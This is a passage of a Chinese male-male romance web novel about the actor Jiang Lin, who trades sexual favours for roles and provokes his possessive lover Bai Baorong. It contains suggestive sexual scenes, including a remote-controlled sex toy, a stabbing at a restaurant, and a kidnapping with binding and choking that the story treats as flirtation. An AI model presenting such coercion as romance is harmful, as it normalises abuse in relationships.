“嗯,好的,谢谢哥。”江林又起了坏心思:“你就是我亲哥,以后真的弯了可以来找弟弟取经。” “呸呸呸。”叶轶捂住他的嘴,“别说这种不吉利的话。” “真的很好笑。”江林说:“你这么一个人居然来拍男同剧。” “没办法,导演说了陆沉持也是个直男,我适配度是百分之两百。”叶轶带着直男的自信,没参加杀青宴,去外地赶通告了。 江林后面的工作也排得满满当当的,要配合《北榕刑警队》的宣传和杂志的拍摄,后续的剧本的选择,暂时还是没有给他接什么代言。 “DL大秀是一个不错的曝光机会,在13号,你这几天控制一下饮食。”金姐将人叫到公司,对他后续安排和发展开了个小会。 “好的。”江林没什么意见。 “给你请了表演老师和台词老师,今天下午就会来公司授课,你好好学一学。” 江林非科班出身,金姐很担心他的专业性。 “好。”江林点头。 公司有员工食堂,江林看见了不少小艺人,还有艺人来跟他套近乎。 江林正在埋头吃饭,小庄坐在他旁边,突然听见门口传来一阵骚乱。 江林抬眼看去,叶成哲像个花蝴蝶似的,穿着花衬衣,带着银色的项链,被人簇拥着走进来。 两人视线在空中交汇一瞬,便又默契错开,像两个认识的陌生人。 他继续低头吃饭,手机放着视频。 /// “你不是说要打电话给我的吗?”叶成哲抱着江林的肩膀,故意在他耳边喘着。 江林任由他在自己脖子上一边吻一边问。 “忘了。” “这也能忘?我检查一下我的宝贝有没有忘记我。”叶成哲手放在江林腰上。 江林拽住他的手:“等会我还要上课,别闹。” 叶成哲咬了咬他的耳垂,在他耳边低语:“daddy,守身如玉可不像你啊。” “这是什么东西?”江林从叶成哲兜里掏出一个粉色的椭圆玩具,上面还有凸点。 叶成哲故意舔了舔他的耳廓,热乎乎地在他耳畔说道:“你不玩我,我找别人玩也不行?” 江林语气带着笑:“当然可以。” 他将玩具重新塞进叶成哲兜里,抬手毫不留情地把人甩开,半点不生气:“正好,我早就厌烦了你的纠缠,终于可以清净一下。” 叶成哲嘴角笑容微微僵硬,江林嫌弃的语气任谁听了都高兴不起来,语气低低:“你别生气,我开玩笑的” “我没生气。”江林无所谓地说道,转身就要走。 叶成哲语气有些阴沉:“《江湖游侠传》的选角很快就要结束,但是其中男二角色还没确定。” 他的话成功让江林止住了离开的脚步,《江湖游侠传》是橘子平台S+的大制作,有抗剧的男主,还有上面的鼎力支持。 现象级的大爆剧。 江林正愁下一部剧没有着落呢。 而上次江林和叶成哲提这要求,当时他可是毫不犹豫地拒绝了江林。 没想到在这儿等着他呢。 江林转身看向叶成哲,脸上冷漠散去些,还勾起了敷衍的笑容:“叶主编” 叶成哲勾着江林的脖子,在他唇上咬了一口,恶狠狠地道:“江遂你还真有奶才是娘啊。” 江林没反驳,“什么时候拍?” “这边筹备都差不多了,最迟这月底就要开始拍摄了。”叶成哲亲了亲他的嘴:“把下午的课程推掉,就说你身体难受。” 江林没拒绝也没答应,拿出小玩具把玩在手上,轻声道:“你不是要玩玩具,来呗。” “你帮我戴?”叶成哲呼吸有些乱。 “你自己来,我看着你。”江林将东西放入叶成哲手中,眉眼间带着漫不经心的笑意。 叶成哲定定看着他的脸,动作缓慢,但毫不犹豫,期间江林拿起手机发了几个消息。 叶成哲走路有些不自然的来抓江林的衣服,江林勾住他的手指,听见他勾引人的语调,不知羞耻地喊着:“daddy” “我刚刚给金姐发消息让她来核实《江湖游侠传》的合同,你好好跟她聊聊……玩具不准取。”江林没打算如叶成哲的意,总是有手段脱身。 叶成哲愣了一瞬,刚想开口,江林用手指放在他唇上,眼神有些鄙夷:“你不是想玩吗?我这是在陪你玩啊。” “要玩就玩刺激点,可不要露出破绽噢,叶主编。” “你”叶成哲抓住他的手,不让他走。 “我还要上课,叶主编这么大年纪了要学会懂事啊。”江林抽离自己的手指。 叶成哲缓了缓神,把遥控器给了江林,“你拿着这个。” 江林这次没拒绝,当着他的面调了档,叶成哲脸颊红了红,之后江林便走了,刚出叶成哲那扇门,便冷着脸把遥控器扔进了旁边的垃圾桶里。 他之后便跟着另外两个男生一起上课,手机开了静音。 叶成哲后知后觉察觉出自己被江林耍了,江林几乎没有付出任何代价就将资源薅到手,还让他傻等了一天。 他给江林的消息也石沉大海。 别人都说他是老狐狸,但现在看来江林才是当之无愧的老奸巨猾啊。 唯一他能想开一点的就是江林的合同在他手上,虽然现在还是亏损状态,但江林的潜力他是看好的。 看在江林的确是一棵摇钱树的份上,他暂时没有和他计较。 /// DL红毯秀,江林穿着DL品牌的衣服,一身贵气打扮,头发被染成了银白色,深黑色的披风,脖颈上带着银色月牙项链,肌肤雪白,手腕戴着DL的腕表,表情矜持冷淡。 时尚资源讲究一个时尚感。 像DL这种顶级奢饰品,挑选代言人的标准非常严格,像某些演员虽然国民度高,却让人觉得更多的是邻家妹妹的感觉,那么他们这些奢侈品的时尚资源就好不起来。 这些奢侈品面向的人群是金字塔尖的一部分人,若是代言人拉跨,他们会觉得拉低了自己的品位,从而选择其他人。 DL的代言人清一色的国际巨星,零星几个国内代言人都是火出国的大明星,高贵冷艳的气质,让人觉得难以接近。 江林倒也不是故意装高冷,而是周边的人他一个也不认识,简单攀谈两句也就没了下文,认真看秀。 他的看秀生图又霸占了热搜。 江林有点自带热搜体质的感觉,经过上次的事情,工作室不再强压热搜,有时候还会买一买。 【我真羡慕江江的对象,每天睡醒面对这张脸,我吃饭都能多吃两碗。】 【我能说吗?江遂和叶轶的吻戏花絮,看得我幻肢硬了。】 【江遂真的很适合名利场,冷漠矜贵的少爷!】 【这张图我愿意称之为神颜图,睥睨众生的那种感觉,我@#¥%】 【救命,这张脸就是牌面啊】 那天江林穿的那套DL的衣服买爆了,连脖子上几百块的银色项链都热销上万。 江林不出意外地遇见了艾璟,他隔着很远和艾璟点了点头,算是打过招呼了。 艾璟却朝着他走来,主动打招呼:“好久不见。” 江林在闪光灯下勾起嘴角,和他低语:“真的很久不见,吉尔还好吗?” “不出意外的话,她应该很好的。”艾璟又是一贯的冷淡语调。 “谢谢艾总邀请我参加DL红毯大秀。”江林客套地说道。 “不客气,今晚有安排吗?”艾璟懒得这些客套,直击主题:“晚上有举办赛车比赛。” 江林被艾璟的执着逗笑了,可有可无地说道:“等晚上再说吧。” “我先请你吃饭。”艾璟有了执念,便一定要找江林一决高下,就算输了也没关系,但要输得光彩。 江林提前离场,跟着艾璟去吃饭。 皇冠餐厅,这些豪门公子哥喜欢来的餐厅之一,等级森严,按照身价提供服务,有几个包间,就算有钱也订不到。 艾璟对江林不错,把他带在身边,不过分热络,也不冷淡,能和他天南地北地聊两句。 江林跑出来抽烟,包间隔音效果好,他的烟还没点好,便被旁边推开门后传来的雅阁声音吸引。 其中男人的惨叫声极为刺耳。 “啊!啊,痛痛痛我错了,白少,我再也不敢了……” 江林眉梢一挑,点燃烟,静静听着里面的动静。 “白宝戎你这么对我们,不怕老爷子怪罪吗?!” 那威胁人的声音中气十足。 但下一秒,似乎被人捂了嘴,只能发出呜呜声,接着是闷哼声,有服务员看见他在,主动上前询问他的包间。 江林听见熟悉的声音,阴狠又嚣张地说道:“老爷子两只脚踏进棺材的人,你觉得我会怕他?” “”江林路过门口,瞥见里面惨烈的场景,桌上满满一桌的菜没人食用,有两个人被捂住了嘴,手背上被插着刀子,血流不止,从桌上滴滴答答淌着血。 白宝戎坐在椅子上,脸上表情是从未见过的煞气和戾气,身后站着一群黑衣大汉,整一个黑/帮大佬的气质。 他根本不回避人,圈内人都知道白家的产业一直不干不净的。 直到白宝戎瞥到江林的身影,嘴里的话顿了一秒,才继续说道:“黄叔,您是聪明人,别让我为难,你动用公司的钱养儿子,我还没说话呢” 白宝戎杀鸡儆猴,虽然订婚了,却和未婚妻达成协议,她欲盖弥彰帮他哄住老爷子,他夺了权,便帮助她脱离家族的掌控,合作共赢。 江林脑海中闪过白宝戎这人的讯息,剧情中,白宝戎就是一头叛逆的野狼,他无声无息控制了栽培自己的爷爷,一手掌控白家,成功将手下所有的产业洗白,包括手中利润可观的赌场,都成功成为国有资产 饭菜还没上齐,门便被从外面打开,白宝戎咧着嘴角,看着这一群不算熟悉的朋友,笑着和中心人物艾璟打招呼:“艾璟你来皇冠怎么也不和我打声招呼,我直接让人免了你的单。” “没想到白少也在这里吃饭啊。”有人笑着说道。 白宝戎的大名最近如雷贯耳。 艾璟朝着他抬了抬下巴,“不想麻烦你。” “不麻烦,不麻烦,朋友之间干什么说这些见外的话。”白宝戎身上的血腥味甚至都未完全散尽,眉眼间戾气微消,看不清他真的高兴还是在虚伪假装:“不介意我坐下吧?” 众人自然不会反对。 白宝戎顺势在江林旁边坐下,他和艾璟以及旁边相熟的人寒暄几句,手却在桌子底下握住了江林的手,摩梭着江林的手指。 他如今已经不怕被别人发现他和江林的关系了。 上头没人,做事就肆无忌惮起来了。 白宝戎抬腿挡住自己的动作,虽然没和江林说半句话,但手已经不老实地摸上他的腿了。 江林脸不改色的夹住他的手。 白宝戎根本没避着艾璟,所以艾璟毫无障碍地看见两人桌下调情的场景。 江林面上冷淡,神圣不可侵犯似的冷漠脸,底下却被男人摸着腿,他穿着缎面西裤,勾勒着肌肉和腿型,手在细细地摩挲揉捏他的大腿,还想从腿根往上。 江林不慌不忙地握住了他的狗爪子,抬眼看向旁边视线直勾勾的艾璟。 白宝戎正在偏头说话没有看他们俩,江林便和艾璟对视上了,艾璟的目光不闪不躲,没有什么表情。 江林勾了勾唇,靠在椅子上,慵懒勾人地笑起来,这个散发着诱惑气息的青年,和艾璟那天比赛的青年差别太大,他快不敢认了。 第93章 包间内, 两米之间就站着服务员,一抬眼便注意到了这边的动静,她惊讶地看向自家老板越发得寸进尺的行为, 双眼微微瞪大,移开视线, 不敢相信自己的眼睛。 白宝戎从前头上压着五指山,做事滴水不漏,装得克己复礼, 风度翩翩,现在以铁血手段铲除了老爷子在公司安插的眼线和同伙后, 虽然公司元气大伤,但也彻底摆脱了五指山。 他也不需要再避讳和江林的关系和自己的性取向。 江林手和白宝戎十指相扣,他还故意拿手背蹭他的敏感腿根,活像个死流氓。 江林倒也没有露出什么屈辱和坚贞不屈的眼神,毕竟他和白宝戎什么没干过啊,没必要装。 艾璟眉眼间却透出几分不解和疑惑, 眼神还极为陌生, 他有些佩服江林了, 似乎他深不见底。 他明确地知道,江林的眼神中有引诱, 引着人犯罪。 两人视线碰撞间, 一个含情脉脉、春波流转,江林的眼神虽然勾人,却不会觉得艳俗, 他在钓你,勾着你自己跳进他的陷阱。一个平静冷淡,带着莫名的探究, 男人的好奇心和探究欲,就是堕落的开始。 白宝戎转头看向艾璟,艾璟的目光从江林脸上移到白宝戎身上。 “艾总,见笑了。”白宝戎不知道江林和艾璟之间的交流和关系,但男人的危机感却让他对艾璟产生了敌意,明明江林和艾璟两人没有在他面前有过任何的交流。 白宝戎勾着江林的手指,唇角带着意气风发又桀骜不驯的笑容,他看向江林那双似笑非笑的眼,喉咙不自觉地发紧,“你和艾总在聊什么?” 艾璟和白宝戎并没有太多的交情,一个从小在国外长大,一个在国内野蛮生长,只是最近有合作才吃了几顿饭有了些表面上的交情。 “艾总找我聊合作,我们还没聊呢,你这不是就来了吗?”江林没有挣脱白宝戎的手,任由他宣示主权的幼稚行为。 白宝戎给江林倒了一杯热茶,看向江林,话里藏针说道:“什么厉害合作,也带我一起玩玩呗。” “玩儿,都玩,大家一起玩儿。”江林嗤笑一声,语气不甚在意。 艾璟没有接话,冷淡地移开视线,耳边却不断传来白宝戎和江林低语的声音,调情似的,旁若无人。 “你怎么不找我合作呢?”白宝戎刚刚因为逞凶作恶而飙升的激素正在血液里沸腾,现在看见江林,就像是狼看见肉似的,虎视眈眈,恨不得将江林嚼碎了咽下去。 但江林可不是什么柔弱小白兔,面对白宝戎凶恶的眼神,不闪不躲接着,丝毫不见紧张和恐惧:“我和你合作什么?你在娱乐圈还能比过艾璟?” “娱乐圈比不过,别的地方比得过啊。”白宝戎捏着他的手指,不服输地说道。 “但咱只混娱乐圈的咋办呢?”江林姿势懒散,没骨头似的靠在椅子上。 白宝戎咬肌紧绷,盯着他眼睛,“我没资源,但老子有钱啊,我都砸给你不行吗?” “行啊。”江林拉长语调说着,笑着说道:“砸呗,谁会嫌钱多啊,白爷。” 他这声白爷,给白宝戎叫舒坦了,望着那张一张一合的嘴,嘴唇不算殷红,嘴角的弧度痞气。 白宝戎凑到江林耳边,压低了声音骂道:“操,别以为我不知道你谈合作,是拿什么谈,怎么我和明若卿不够你干的,你又看上艾璟了?” 江林耳廓外是白宝戎暧昧的呼吸,他不动如山,故意回了一句气死人的话:“那哪够啊?不嫌多。” “你”白宝戎用力捏了一下他的掌心,还想说话,被旁边没眼色的人打断了。 “白总说什么悄悄话呢?我们也想听。” 众人都发现了江林和白宝戎的关系不浅,语气中带着调笑。 白宝戎只能不悦地松开江林,勾着要笑不笑的笑容,不客气地怼了一句:“你想听什么悄悄话?我去跟你老婆说怎么样?” 混不吝的性格瞬间让那人变了脸色,却又强压不悦,毕竟谁都知道白宝戎是个从垃圾堆里捡回来的贱种。 没有教养,没有礼貌,只是白老爷子给他当个宝。 现在还差点被这只白眼狼给咬死了。 菜上齐后,江林便甩开了白宝戎的手,自顾自地吃饭,艾璟也没和江林主动搭话,眉梢紧蹙,有些担心今晚的计划泡汤。 白宝戎中途被服务员叫出去,处理刚刚那些事情,刚刚他看见江林火急火燎就跑过来,尾巴还没处理干净呢。 他走之前还在江林耳边说着:“慢点走,我送你回家。” 江林只顾着吃东西没理他,白宝戎气得牙痒,最后只是捏了捏他的肩膀表示自己的不满。 等艾璟等白宝戎离开后,饭局接近尾声,才开口:“你和白宝戎的关系好像很不错。” “还行吧。”江林喝完最后一口参汤,擦了擦嘴回答,“艾总,您让我陪着您玩游戏,总要给点好处吧?” “不会以为一个红毯秀就能打发我吧。” 艾璟不意外他说这种现实又直白的话,颇为真诚地问他:“你想要什么?” “DL的全球代言。”江林狮子大开口,提了一个他现在跳起来都够不到的资源。 艾璟为难地蹙眉,像奢侈品这种东西很讲究品牌影响力,若是弄不好真的会让名声下降,一路下坡。 “现在的确是为难您了,但当我有机会了,您能优先选择我?”江林也不想做这些强人所难的事情,却也舍不得这样好的资源,只需要撕开一个口子,有DL给他当跳板,他的时尚资源不会差。 艾璟这才点头:“可以,但还要市场部门的分析,你也知道不是所有的演员都适配DL。” “您是大老板,您说了算。”江林看着艾璟那双深邃又冷漠的眼睛。 艾璟让助理买单,晚餐结束,江林没管白宝戎的嘱咐,跟着艾璟想要离开,却被人挡住了去路。 “不好意思,老板说这位先生要稍微等下才能走。”站在门口的保镖挡住江林。 艾璟看了一眼保镖,又瞧了一眼江林,眉梢轻轻蹙起。 江林倒也不生气,无奈地说道:“艾总,看来今晚不能陪您比赛了,只能改天咯。” 艾璟从前脸上的冷淡是因为什么都不在乎的漠视,此刻却是对白宝戎截和的不满,他好不容易抓住江林这只滑不溜秋的泥鳅。 江林抬手抓住艾璟的胳膊,抬起那双笑眯眯的眼,低声道:“其实就算不赛车也能很刺激。” 艾璟琥珀色的眸子像是冰冷的湖泊。 湖泊的湖面被扔下一颗颗石子,荡漾起一圈圈波纹,徐徐往岸边荡去。 艾璟带的三个保镖守在门口,像是泰然不动的大山,有人重返包厢,被保镖挡住:“不好意思,现在艾总在里面谈要紧事儿。” 那人奇了怪了:“我手机落里面了,我只是拿个手机就出来,刚刚我也在里面吃饭的” “抱歉,现在不行,您可以把地址给我,我明天给您的手机寄过去。”保镖冷漠脸。 而门后艾璟正皱着眉和江林接吻。 江林感觉到了他的生涩,手按在他后腰上,他离开艾璟的唇,两人唇角被透明的液体晕湿,艾璟偏着头,脑袋抵在墙上,他低声问:“你说的刺激的事情就是这个吗?” 艾璟表现得有些不以为然,他从小在国外长大,对于亲吻并不陌生,他甚至见过父母在家里开“多人聚会”,他从不参与,觉得无趣。 “嗯,我是白宝戎的人,现在外面都是他的人,您在和我偷晴,不刺激吗?”江林垂眼看着他,盯着艾璟没什么波澜的眼睛。 “很无聊。”艾璟回答。 “但是您很紧张。”江林低笑一声:“刚刚您的嘴唇都在发抖,舌头却很主动。” 江林放大的优越五官近在咫尺,眼底带着沁出汁水的坏,微微偏头贴着艾璟的唇,轻声道:“你不想知道被白宝戎发现,他会是什么反应吗?” 艾璟脑海中闪过白宝戎占有欲十足的姿势护着江林,但江林却够坏的,做出这种事情来 艾璟耳根通红,原本被压制的姿势变得主动,捏着江林的肩膀,闭着眼主动地回吻江林,呼吸间他闻到江林身上清冷的男士香水味,仿佛枯木雪松,在唇舌缠绕间分泌出了丝丝甜腻的香味。 他是第一次和人接吻,感觉并不差,他自己都未察觉,自己正在主动地抱紧江林。 “谁在里面?” 突然外面传来白宝戎的声音。 霎时间,江林和艾璟纷纷睁开双眼,彼时正在互相吮着对方的唇,刺激耳膜的声音,瞬间让两人都紧张起来,江林的心跳也控制不住地加快。 “我们艾总在里面谈生意。”保镖滴水不漏地回答。 江林两人跌入旁边的沙发,两人的手早就伸到衬衣之下互相摩挲,艾璟眯着眼,眼底的欲气冲淡了眉眼间的冷淡。 “怎么办?好像要被发现了噢。”江林语气中有些兴奋似的,抬手不顾艾璟的紧张,故意将他的衬衣撕烂,将场面弄得更难看些,随着扣子被绷断的声音,艾璟的眼睛微微瞪大。 “你”艾璟可没真的想在这里做什么,话没说完,便被江林吻住了唇。 江林可巴不得将场面弄得更乱才好。 白宝戎有些狐疑,问道:“江遂呢?” 保镖只是道:“不知道。” 白宝戎叫来服务员,他则是满头大汗,指了指紧闭的门:“江先生也在里面” 话音落下,白宝戎脸色一瞬间就阴沉下来,脑海中马上想到了什么,就要冲进去,又被保镖挡住。 “我操你妈的,江遂!”白宝戎一脚踹在门上。 然后被保镖挡住手臂,白宝戎一拳砸过去,瞬间扭打在一起。 江林两人的衣摆都蹭在一起,艾璟被他引着解开他的衬衣,吸吮着他的锁骨和肩膀,江林眯了眯眼,嘴唇微肿,他察觉到艾璟的停顿,他手按在他脑袋上:“刺激吗?” “你猜白宝戎进来,是先宰掉我,还是杀了你。”这种时候,江林还有心情打趣。 艾璟见他这么有恃无恐,眼神微微转动,身体也跟着紧绷起来:“你真是个坏蛋。” 江林接住他凑上前的吻,辗转间笑道:“如果没有艾总陪我玩,也坏不起来啊。” 艾璟喉结滚动着,精神极度的紧绷,门外的混乱声越发大了,心跳声也越发极速,但江林的舌头还在肆无忌惮的进攻,没有要停下来的准备。 他都忍不住担心,白宝戎若是真的看见两人这样会不会暴起杀人。 “珍惜时间,马上他就要进来了”江林含糊说着。 三个人挡不住白宝戎这么多人,很快破门而入。 而众人看见刺激眼球的场景时,先是移不开双眼地看着,下一秒,又因为太刺激而闪躲了眼神。 白宝戎气得浑身发抖,看着餐桌隔间没拉上的门,沙发上抱在一起的两个男人,衣裳不整,杂乱无比。 江林衣襟大开,原本禁欲的装束变得无法言语的暧昧,而艾璟这个一向冷淡无欲的人,却大敞着衣衫,旁如无人地吻着男人。 白宝戎想抽死他们两个。 艾璟瞥见门被打开,更是觉得头皮发麻,白宝戎冲上前,直接将两人拉开,拽着江林的手腕,力度几乎要捏碎他的骨头,他瞪向艾璟:“你他妈的在干什么?” 艾璟并不害怕他,不紧不慢地整理衣裳,静静看着他,脸上的情欲仿佛一瞬间平复下来,“如你所见。” 江林也没有半点心虚,轻啧了一声:“你这是干什么?兴师动众的,不知道还以为你老婆出轨了呢。” 白宝戎被江林理直气壮怼得脸颊涨红,羞恼不已,既丢了面子,又丢了里子。 他从没觉得自己这么窝囊过。 “江遂,你怎么敢这样对我?” 江林挑眉,还懒懒散散坐在沙发上呢。 “我怎么对你?我们又没有什么关系,你限制我人身自由,我还没骂你呢。” 白宝戎双眼通红地瞪着艾璟,“你最好现在给我滚出去,否则我让你横着出去。” 艾璟看了一眼江林,江林冲着他笑了笑:“下次玩儿。” “江遂!”白宝戎恨不得割了江林的舌头。 艾璟走了,江林被白宝戎抓着塞进了车里,那天在场的人都知道了大老板被一个男人戴了绿帽。 江林手腕被绑住,也不在乎,车内白宝戎正在抽烟,白雾缭绕呛人,他懒懒散散地说道:“别光顾着一个人抽啊,给我也点一根。” 白宝戎阴沉地说道:“你给我闭嘴!” “你还在生气呢。”江林笑眯眯说道。 白宝戎一把拎起他的衣领,黑暗中眼神冰冷:“你为什么要这么做?恶不恶心?脏不脏?就这么耐不住寂寞吗?” 江林眼睛依旧笑弯弯地:“我不恶心,不脏的话怎么会搞你?我们两个怎么会厮混在一起呢。” “你别以为我不敢跟你动手。”白宝戎对于他不服软的态度,恨不得掐死他,狠狠地扼住他的喉咙。 江林感觉到了一丝窒息,语气带着笑:“要不说你犯贱呢白宝戎,叫你一声爷,你还真把自己当人物了?我们什么关系,就是睡过两次,我想亲谁就谁,别对别人的嘴有那么大的占有欲行不行?” 白宝戎怒火攻心,气恼他这张嘴说出的话像刀子般尖锐,想让他再也说不出伤人的话来,他咬住江林的唇。 江林抽气一声:“要亲就好好亲,别他妈当狗。” 白宝戎力度一松,又重新用力啃咬起来,江林对于白宝戎的吻也不抵触,甚至还主动回应,不觉得生气,也不觉得他自己的行为有任何的不对。 只是嘴唇被咬得有些疼了,等白宝戎吻够了后,低低骂了一句:“贱狗。” “你他妈的”白宝戎又瞬间被点燃了。 江林被绑着,却半点没有被绑架的自觉,态度散漫,命令起人来,颐指气使,“别绑着我手腕。” “滚。”白宝戎不满地骂道。 他下定决心要给江林一点颜色看看,准备将人锁在家里,教他一点规矩,甚至有了将人永远锁起来的阴暗心思,否则只要一放手,一个不留神,江林就会给他一点绿色看看。 江林的手机也被白宝戎收走了,切断了他和外界的联系。 好在最近他没有什么重要的工作。 江林是被保镖提溜着抓下车的,他大爷似的往沙发上大马金刀地一坐,看向白宝戎,“你要对我做什么?” 白宝戎犯了难,他对江林下不去手打,又骂不过,唯一的方式好像只有限制他的人身自由? 他表现得有些凶神恶煞地说道:“你最好老实,有你好果子吃!” 江林看得直想笑,朝着他招招手,白宝戎站着不动,面无表情。 “你看,让你过来又不来。”江林苦恼地说道:“我找别人,你又生气” “真难伺候啊。” 白宝戎走过去,按住他的肩膀,盯着他的双眼, 江林亲了亲他的下巴,“行了,别玩那种小孩子的把戏,松绑吧。” 白宝戎不为所动,“你别想逃,以后你就住在这里。” “我住这里没问题,你先松开我。”江林点了点头。 “你”白宝戎无语了:“你被我绑架了,被我囚禁了懂不懂啊?” “别闹。”江林弯了弯眸子,“别这么幼稚行不行?我不选你,你就要囚着我?那你是多无能多废物啊,难道不应该积极表现让我非你不可吗?” 白宝戎看着江林那张俊美的脸,从前可能还会自信没有自己不能征服的人,现在面对江林,根本半点自信也无了。 “得不到你的心,最少也要得到你的身。”白宝戎看着凶,在江林面前就是纸老虎,一戳就破了。 江林看着他,语气轻轻带着安抚的意味:“你不囚着我,你就没得到我身吗?咱俩做得还少?” 白宝戎在外面嚣张跋扈,无法无天,在江林面前又畏畏缩缩起来,只敢放狠话:“但是你太不老实了,好像怎么都抓不住你。” “为什么要抓住我呢?”江林眼神突然变得深沉起来,反问他:“我从没有想过要限制和控制过你,这种及时行乐的关系不好吗?” 白宝戎抿着唇,“不好,非常差。” “为什么?”江林低声问。 “不够。”白宝戎脱口而出的话,让他意识到了也许他对江林的感情已经变质了,从py转变成了感情寄托,所以想要索取更多。 江林将两只被捆绑住的手腕绕过他的脖子,抱着他的身体,似乎读懂了他的眼神,主动吻了吻他的唇:“别让我讨厌你。” 白宝戎固执地看着他,像是在问真的一点机会都没有了吗? 江林同样冷静地看着他,转变了话题,谈心似的说道:“听说你最近很厉害?” “”白宝戎对感情没有经验,不敢太用力将其摧毁,又不敢真的放手,他当然也知道囚禁那套只是怒上心头的冲动举动,他还真的能将个大活人囚禁起来吗 “你知道我的梦想是要成为大明星的,你舍得这样对我吗?你舍得让我在小房间里坏掉吗?”江林目光灼灼,一点点撬动他的心弦,最后又轻轻来一句:“我又不会真的离开你。” 白宝戎终究是忍不住亲住他,有些凶地咬着,气得不行:“你就会说这些鬼话来骗人。” 他看见江林明目张胆地给他戴绿帽是很生气的,但就像江林说的,他们没有什么实质性的关系 江林不拒绝他的亲吻,亲完后。 “松绑吧,手机给我,小庄找我该着急了。” 白宝戎没什么表示,手顺着江林的腰抚摸上他的臀,眼神黑深,手臂用力,让江林翻转之后跪在他身前。 江林手臂撑在沙发上,察觉出他的意思,身体曲线性感,凹凸有致,他不管是做下面还是做上面的,都性感的要命。 “贼心不死。”江林轻哼一声,表情不以为然。 白宝戎从后面贴上去,吻住他的后颈,低声道:“都是男人,换换位置也没关系吧,反正我一定会让你舒服的。” 白宝戎的手还没来得及动作,便被江林抓住了。他惊讶地低头,却发现江林手腕的束缚已经挣脱,“你” 江林反手捏着他的下巴,转身盯着他的眼睛,眉梢轻轻一挑,眼神颇为不驯:“哄着你玩呢,真以为我解不开啊。” 白宝戎看着他张扬漂亮的眉眼,默默地吞咽口水,瞬间没了想要反攻的精气神。 江哥侧身亲了他一口,用力一拽,就从身后给拽到了跟前,用绳子像是栓狗似的,勒住他的脖颈,让白宝戎微微窒息,双手拽住绳子,怔怔看着他。 “绑人都绑不明白,还学人绑架。” 白宝戎脸又憋红了,他只是舍不得真的绑江林而已。 第94章 林松开白宝戎的脖子, 那绳索被他随意地甩在地毯上,他从白宝戎兜里摸出他的打火机和烟盒,靠在沙发上点了根烟, 狭长沟壑般的v领露出皎白的肌肤,灯光下像是抹了粉。 脸上的淡妆让他看起来更加精致俊美。 白宝戎从沙发爬起来, 依旧愤愤不平,从侧面锁住江林的脖颈,凑上前吻住他的嘴角, 胳膊上的肌肉挤压着江林的喉管,带着一些压迫感, 却妨碍他接吻。 “能不能别打艾璟的注意?”白宝戎哑着嗓子。 江林瞥了他一眼,“为什么?” “他一个半外国鬼子,有什么好的?看着就倒胃口。”白宝戎满口诋毁,半点没有顾及同事情分。 “成,我不主动招他了。”江林笑着应道,也不知道是真是假。 却让白宝戎真实的松了一口气, 手摸着江林的修长白皙的手指, 在他中指上停留摩挲了几瞬, 像狗似的放在嘴边咬了他一口指节。 江林摊着手让他咬,呼出白烟, 喉间是香烟熏染的沙粒感, 微微吸气便有一点淡淡的清凉感,让人混沌的精神瞬间精神了不少,“怎么?人当够了, 想当狗了吗?” 白宝戎黑黝黝的眼睛盯着他,带着纯粹的偏执和凶戾,呼吸逐渐沉了沉, “给你准备了一点礼物。” “什么?”江林垂着眼泛红的眼皮看着他,双腿大喇喇岔着,神态慵懒。 白宝戎从抽屉里拿出一个小小的盒子,是爱心的形状,原木材料打造的,低调又不失精美。 江林微微挑眉,看着白宝戎表情有些羞赧,却强行绷着一张脸,手指颤颤巍巍地似乎在发抖,蹲在江林跟前,就要自顾自地打开给他戴上。 “干什么?整求婚那套?”江林笑眯眯地看着他,虽然年纪轻,却像个沉淀着风霜的成熟男人,看着眼前青涩的青年。 白宝戎这才抬眼瞪过去,“你要不要?” 这语气还凶得很。 江林被绑到客厅,匆忙间程亮的皮鞋还没脱,红色的鞋底踩在白宝戎的膝盖上,抬脚间西裤勾勒着他大腿曲线,有力又性感,他看着白宝戎说:“下跪懂不懂?” 白宝戎眼睛瞪圆一瞬,一手握住他的脚踝,光滑冰冷又白皙的脚踝被他攥紧,那瞬间他有一种冲动,他想舔江林的脚踝。 他克制地咽了咽口水,视线从膝盖上瞧过去,江林姿态矜娇地扬着下巴,眉眼间漫不经心地睥睨般地瞧着他。 而白宝戎身材高大,蹲在他脚边的模样,表情横眉竖眼的凶,像个毛发乱糟糟的大狼狗,抱着主人的腿,下一秒似乎就要蹭上来了。 江林看着白宝戎单膝下跪,才收回踩着他膝盖的脚,脑海中闪过包间内他手拿匕首刺人掌心的残暴摸样,意气风发、姿态不驯,现在却小心翼翼地捧着戒指递到他面前。 “啧,我喜欢大钻戒,这种对戒不值钱吧?”江林看款式新颖的戒指,有些嫌弃地说道。 “你掉进钱眼里了啊?”白宝戎无语地翻白眼,抓着江林的大手将戒指戴上他的中指,尺寸刚刚好,完美贴合江林的手型。 江林的五指修长白皙,骨肉停匀,骨节分明,指节处稍稍用力便会呈现漂亮的粉白色,刚刚因为绑他的脖子,让他的指节用力得有些发红,现在戒指戴在他手上,衬得戒指都贵气了几分。 白宝戎看得眼热,主动抱着他的手掌,埋进他手心舔吮,湿润的唇舌迫不及待地打上自己的印记,留下自己的气味进行标记。 江林睫毛轻轻垂了一瞬,唇角划过冷淡又戏弄的笑容,感受着白宝戎舔舐了他的掌心和五指,他抽完最后一口烟,嗓音越发哑了:“还说你不是狗?” 白宝戎咬住他戴着戒指的中指,在他手指上留下一个牙印,“能不能一直戴着。” 江林甩了甩湿漉漉的左手,有些嫌弃蹙眉,“看你表现咯。” 白宝戎沉着脸,拿出湿纸巾又一寸一寸将江林手上的痕迹擦拭干净,像个没忍住在主人身上标记撒尿的狗狗,害怕主人嫌弃,又主动将主人身上自己留下的东西清理干净。 “我的手机呢?”江林踢了踢他灰扑扑的膝盖。 “急着去投胎吗”白宝戎不客气地骂道。 “急着把你生出来。”江林回击道。 白宝戎恨不得再在他手上咬几个印子,叫了一声管家的名字,把江林的手机物归原主。 江林开机,先跟小庄交代了一下,让他先回去,然后其他的电话和消息就没理了。 “我看你那个助理才是你的心头好啊,拿着手机就着急忙慌给他报平安?怎么他救过你的命啊?”白宝戎见他如此紧张一个小助理,怀疑的种子越来越大。 江林之所以会第一时间回复小庄的消息,因为小庄这人死脑筋,不确定他的消息估计得报警,警察不受理,他就能在警局门口站上一夜。 他只是看了一眼白宝戎没理会他逮人乱咬的行为。 见他脸都气白了,江林才漫不经心地落下一句:“戒指挺好看的。” 白宝戎表情一怔,握紧他的手:“我让人订做的,别的地方买不到。” “还有珠宝首饰什么的,老爷子留给儿媳妇的,你要不要?”白宝戎似乎随口一说,但那些东西几乎都是收藏级别的,市场上根本见都见不到。 江林眯着眼笑了:“你给,我就接着,你不会以为我不敢吧。” 